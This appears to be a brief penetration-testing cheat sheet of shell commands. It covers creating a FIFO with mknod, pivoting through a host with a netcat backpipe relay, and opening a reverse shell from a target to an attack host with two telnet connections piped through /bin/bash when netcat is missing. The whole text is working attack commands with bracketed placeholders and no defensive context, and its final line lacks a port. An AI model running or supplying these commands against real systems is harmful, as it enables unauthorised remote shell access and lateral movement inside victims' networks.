# To make a FIFO in the file system 
mknod [name of file] p

# Pivoting with a backpipe #
# On the attacker:
nc [pivot host]

# On the pivot host
nc localhost 80 <[FIFO file name] | nc -l -p 4444 >[FIFO file name]

# Telnet variant (when netcat is not available on the target) #
# Listen on port 80 in terminal 1 on the attack machine
nc -l -n -v -p 80 

# Listen on port 443 in terminal 2 on the attack machine
nc -l -n -v -p 443

# On the target machine:
telnet [attack host] 80 | /bin/bash | telnet [attack host]